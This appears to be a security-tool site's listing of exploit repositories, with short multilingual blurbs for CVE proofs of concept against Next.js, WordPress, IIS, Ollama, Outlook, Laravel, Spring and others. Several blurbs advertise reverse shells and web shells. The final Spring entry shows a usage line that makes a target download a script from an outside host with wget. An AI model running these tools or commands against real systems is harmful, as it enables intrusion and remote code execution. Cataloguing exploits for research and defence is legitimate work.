CVE-2025-55182-Toolbox

React2Shell: CVE-2025-55182 综合利用工具 Author: lamaper / BITs2Sys Version: 1.0.1 License: MIT 📝 工具简介 本工具是一款专门针对 CVE-2025-55182 （React Server Components / Next.js 原型链污染导致 RCE）的自动化渗透测试工具。该工具专为 CTF 比赛和已授权的安服项目设计，集成了漏洞验证、出网探测、反弹 Shell 以及内存马注入等多项功能。 🚀 核心功能 一键命令执行 --cmd：利用 NEXTREDIRECT 异常机制，精准回传 Base64...

CVE-2023-5360-exploit-with-native-libraries

Royal Elementor Addons ≤ 1.3.78 – 未经授权的任意文件上传 RCE 📌 概述 该仓库包含针对 WordPress 插件 Royal Elementor Addons and Templates （版本 ≤ 1.3.78 ）的 修改版概念验证漏洞利用 。 该漏洞允许 未经授权的任意文件上传 ，可被滥用以上传 PHP 文件并实现 远程代码执行 RCE 。 CVE : CVE-2023-5360 漏洞类型 : 未经授权的文件上传 → RCE 受影响插件 : Royal Elementor Addons and Templates 修复版本 : 1.3.79+ 🔧...

CVE-2017-7269

CVE-2017-7269 漏洞编号：CVE-2017-7269 发现人员：Zhiniang Peng和Chen Wu（华南理工大学信息安全实验室，计算机科学与工程学院） 漏洞描述：IIS 6.0默认不开启WebDAV，一旦开启了WebDAV支持，安装了IIS6.0的服务器将可能受到该漏洞的威胁。 漏洞类型：缓冲区溢出 漏洞等级：高危 影响产品：Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS 6.0 触发函数：ScStoragePathFromUr函数 附加信息：ScStoragePathFromUr函数被调用了两次 漏洞细节：Window...

CVE-2024-37032

CVE-2024-37032 Path traversal en Ollama con servidor de registro malicioso Aprende de Probllama: Vulnerabilidad de ejecución remota de código en Ollama CVE-2024-37032 – Descripción general y mitigaciones Entorno de vulnerabilidad root@kitploit: docker run -d -v ollama:/root/.ollama -p 11434:11434...

Exploiting-Stagefright-Vulnerability-CVE-2015-3864

利用Stagefright漏洞CVE-2015-3864 Stagefright指的是Android 2.2 "Froyo"至5.1.1 "Lollipop"版本中的一组软件缺陷，这些版本影响了当时95%的Android手机。如果该漏洞被利用，攻击者可以通过远程代码执行和权限提升，在受害者设备上执行任意操作。因此，在本项目中，我将利用此漏洞攻击Android 5.1.1 "Lollipop"。 关键词：Android黑客攻击、手机黑客攻击、Metasploit框架。...

CVE-2025-32433-Eploit

CVE-2025-32433-Eploit Erlang/OTP SSH vulnerable a RCE previa a la autenticación Exploit de RCE para SSH Erlang Elaboración de un payload SSH para ejecutar un comando Erlang arbitrario en el servidor vulnerable. Uso: root@kitploit: python3 exploit.py -t targets.txt -p 2222 -o results.log Aviso...

CVE-2020-27955

Exploit de Ejecución Remota de Código RCE en Git-lfs CVE-2020-27955 versión .bat / powershell Vulnerable: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken, etc. Descubierto por Dawid Golunski https://legalhackers.com https://exploitbox.io Probado en Windows...

xerial__sqlite-jdbc_CVE-2023-32697_3-41-2-1

Controlador JDBC de SQLite SQLite JDBC es una biblioteca para acceder y crear archivos de base de datos SQLite en Java. Nuestra biblioteca SQLiteJDBC no requiere configuración, ya que las bibliotecas nativas para los principales sistemas operativos, incluyendo Windows, macOS, Linux, etc., están...

CVE-2015-3306-Home-Lab

ProFTPD 1.3.5 modcopy — Laboratorio de Simulación de RCE Este laboratorio está diseñado para simular la vulnerabilidad CVE-2015-3306 — ProFTPD modcopy Remote File Copy to RCE Se utiliza para aprender Web Shell Injection RCE a través del módulo modcopy de ProFTPD Características ProFTPD 1.3.5...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

Microsoft Outlook 远程代码执行漏洞 PoC 本脚本展示了 CVE-2024-21413 的概念验证（PoC），这是 Microsoft Outlook 中一个 CVSS 评分为 9.8 的关键安全漏洞。该漏洞被称为 MonikerLink 漏洞，其影响范围广泛，包括可能泄露本地 NTLM 数据以及远程代码执行的风险。此外，它还突出了一种能够绕过 Office Protected View 的攻击媒介，从而将其威胁扩展到其他 Office 软件。 用法： 要使用此脚本： 1. 将仓库克隆到本地机器： root@kitploit:...

CVE-2020-17531

CVE-2020-17530 Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞（CVE-2020-17530），在使用某些tag等情况下可能存在OGNL表达式注入漏洞，从而造成远程代码执行，风险极大。提醒我校Apache Struts用户尽快采取安全措施阻止漏洞攻击。...

CP-PLUS-EZ-P21-CVE-2026-65893-65894

🔐 Análisis de seguridad de la cámara IP CP PLUS EZ-P21 CVE-2026-65893 CVE-2026-65894 Ejecución de código arbitrario y autenticación inadecuada – Cámara IP CP PLUS EZ-P21 Descripción general Este repositorio documenta dos vulnerabilidades de seguridad identificadas en la cámara IP CP PLUS EZ-P21 ,...

CVE-2014-6271

CVE-2014-6271 利用 用法：CVE-2014-6271.py 目标 URI 的完整路径 命令...

cve-2026-6471-postgres-logical-decoding-dlopen

PostgreSQL CVE-2026-6471: decodificación lógica dlopen de una biblioteca arbitraria La decodificación lógica de PostgreSQL permite que un rol que no es superusuario y que posee el privilegio REPLICATION cree un slot de replicación lógica y elija el plugin de salida. En las versiones afectadas no...

CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE 利用工具 这是一个针对CVE-2021-3129的Python漏洞利用脚本，该漏洞是当Laravel安装了Ignition包时存在的远程代码执行漏洞。攻击者可以通过PHAR反序列化执行任意系统命令。 功能 使用 phpggc 自动生成PHAR载荷 接受用户输入以执行任意命令（例如 id、whoami 等） 自动化整个利用过程，包括清除日志、注入载荷、将日志转换为PHAR以及触发反序列化 先决条件 Python 3.x requests 库 系统已安装PHP 已安装 phpggc（用于生成PHAR载荷） 安装 1...

CVE-2020-1048

CVE-2020-1048 An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly allows arbitrary writing to the file system. An attacker who successfully exploited this vulnerability could run arbitrary code with elevated system privileges. An attacker could then...

libreofficeExploit1

漏洞利用基础手册 本文将介绍如何利用程序的一个简单漏洞，在运行该程序的系统上打开一个后门。 相关漏洞由CVE-2018-16858定义，属于LibreOffice办公套件。该漏洞通过一个特制文件实现目录遍历，从而允许执行Python代码。在用户对文档进行操作时，该执行会被触发，且不会因宏执行而给予用户任何警告。 本文档分为五个部分。第一部分将解释漏洞本身，如何解包一个OpenDocument ，如何修改其结构以便执行所需的本地脚本，以及如何重新打包文档以供执行和测试。 第二部分将介绍如何利用本地执行在打开文档的系统上运行任意命令，并生成一个允许远程命令执行的后门。...

cve-2020-0688

cve-2020-0688 cve-2020-0688 Inicia sesión con un usuario con privilegio de dirección de correo electrónico; no hay nada de qué preocuparse. Obtén - VIEWSTATEGENERATOR del código fuente de la página Obtén - el valor de la cookie ASP.NETSessionId para el valor viewstateuserkey Descargar YSO aquí...

CVE-2026-44402

CVE-2026-44402 Ejecución remota de comandos completa preautenticada en Voltronic Power SNMP Web Pro 1.1 Contenido Proveedor afectado: https://voltronicpower.com/ Producto afectado: SNMP Web Pro 1.1 SNMP Web Pro 1.1 contiene una vulnerabilidad de ejecución remota de código no autenticada en el...

CVE-2022-22963-PoC

CVE-2022-22963: Exploit RCE de Spring4Shell Esta es una implementación en Python de Spring4Shell, CVE-2022-22963, que afecta a los servicios que ejecutan Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable +...